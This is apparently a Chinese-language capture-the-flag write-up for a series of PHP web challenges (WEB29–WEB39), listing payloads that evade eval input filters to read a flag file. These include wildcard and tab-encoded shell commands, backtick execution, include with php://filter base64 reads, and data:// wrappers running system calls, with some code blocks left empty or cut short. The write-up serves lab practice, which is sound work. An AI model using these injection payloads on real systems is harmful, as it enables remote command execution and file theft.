WEB29
首先认识几个函数preg_match、eval、system
payload1:/?c=system(“ls”); 发现flag.php文件,由于c中不能包含flag字符串,所以用通配符绕过
payload2:/?c=system(“cat fla*”); 然后查看源码得到flag
WEB30
这里过滤了system,所以用echo(该方法同样适用于WEB29)
payload:
1 | /?c=echo `cat fla*`; |
WEB31
1 |
|
过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。
payload:
1 | /?c=echo%09`tac%09fla*`; |
WEB32
1 | if(isset($_GET['c'])){ |
过滤了system,echo,这里可以使用passthru,但是这次还过滤了括号,所以passthru也没有办法用,这里使用文件包含,通过php://filter协议进行读取文件。
payload:
1 | /?c=$shl=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
或者payload:
1 | ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
解码就到flag
WEB33
1 | if(isset($_GET['c'])){ |
过滤了和WEB32一样的东西,但是用WEB32的payload却不行,目前不知道为啥,WEB32也不能用WEB33的payload。
payload:
1 | ?c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64- |
或者payload:
1 | ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
WEB34
payload:
1 | ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
WEB35
payload:
1 | ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
WEB36
这里过滤了0-9,所以不能用数字了
payload:
1 | ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |
WEB32-36通用解
1 | ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |
WEB37
这里的关键是include函数,include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://
,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
1 | data://协议用法: |
1 | payload: c=data://text/plain,<?php system("cat f*")?> //查看flag.php,右键源码中查找flag |
WEB38
1 |
|
过滤了flag,php,file。所以用WEB37中的第二种payload
WEB39
1 |
|
.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
payload和WEB37一样